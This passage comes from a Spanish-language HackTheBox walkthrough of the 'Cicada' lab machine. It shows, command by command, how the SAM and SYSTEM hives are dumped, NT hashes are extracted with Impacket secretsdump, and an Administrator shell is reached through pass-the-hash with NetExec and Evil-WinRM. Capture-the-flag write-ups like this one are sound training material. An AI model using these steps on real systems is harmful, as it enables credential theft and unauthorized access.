*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save HKLM\SYSTEM system
The operation completed successfully.
Ahora que hemos creado las copias, pasamos estos archivos desde la máquina víctima a nuestra máquina de atacantes utilizando el comando download
de evil-winrm
:
Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download sam
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download system
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\system to system
Info: Download successful!
E intentamos extraer las credenciales almacenadas en estos archivos utilizando secretsdump.py
de Impacket
, pasando como argumento los archivos descargados:
❯ impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
Tenemos un hash para el usuario Administrator
.
Revisamos si este hash NT corresponde al hash del usuario Administrator
usando nuestro (ya a esta altura mejor amigo) NetExec
:
❯ nxc smb 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\Administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!)
¡El hash funciona! Dado que obtuvimos el mensaje Pwn3d!
para el protocolo smb
en NetExec
, esto significa que somos un usuario con privilegios en el sistema.
Utilizamos este hash para performar un ataque Pass The Hash
para el usuario Administrator
junto con evil-winrm
:
❯ evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
GG. Estamos dentro como el usuario Administrator
. Podemos extraer la flag root.txt
en el directorio Administrator
.
~Happy Hacking